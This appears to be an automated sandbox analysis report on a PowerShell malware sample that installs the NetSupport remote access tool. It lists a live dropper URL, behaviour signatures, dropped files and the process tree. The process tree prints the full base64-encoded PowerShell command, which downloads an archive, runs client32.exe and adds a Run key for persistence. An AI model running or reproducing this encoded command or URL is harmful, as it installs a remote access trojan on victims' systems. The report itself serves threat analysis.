Analysis
- max time kernel
142s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
04/03/2024, 17:35
General
- Target care.ps1
- Size 2KB
- Sample240304-v512pshd23
- SHA256 aedbd62259bd95c855b9364b1c7a56f303909b0e32269b2ca042e7c75e9e5e45
Malware Config
Extracted
-
ps1
-
exe.dropper
http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 1 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\care.ps11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4088 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
HTCTL32.DLL
NSM.LIC
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcicapi.dll
pcichek.dll
__PSScriptPolicyTest_me2gqw5e.vng.ps1
memory/1824-24-0x0000024099400000-0x0000024099410000-memory.dmp
memory/1824-23-0x0000024099400000-0x0000024099410000-memory.dmp
memory/1824-32-0x0000024099400000-0x0000024099410000-memory.dmp
memory/1824-30-0x0000024099310000-0x0000024099322000-memory.dmp
memory/1824-72-0x00007FFC8C5B0000-0x00007FFC8D071000-memory.dmp
memory/1824-29-0x0000024099400000-0x0000024099410000-memory.dmp
memory/1824-27-0x00007FFC8C5B0000-0x00007FFC8D071000-memory.dmp
memory/1824-13-0x00007FFC8C5B0000-0x00007FFC8D071000-memory.dmp
memory/1824-31-0x0000024099300000-0x000002409930A000-memory.dmp
memory/4384-0-0x00000200D2680000-0x00000200D26A2000-memory.dmp
memory/4384-25-0x00007FFC8C5B0000-0x00007FFC8D071000-memory.dmp
memory/4384-26-0x00000200EABE0000-0x00000200EABF0000-memory.dmp
memory/4384-85-0x00007FFC8C5B0000-0x00007FFC8D071000-memory.dmp
memory/4384-12-0x00000200EABE0000-0x00000200EABF0000-memory.dmp
memory/4384-11-0x00000200EABE0000-0x00000200EABF0000-memory.dmp
memory/4384-10-0x00007FFC8C5B0000-0x00007FFC8D071000-memory.dmp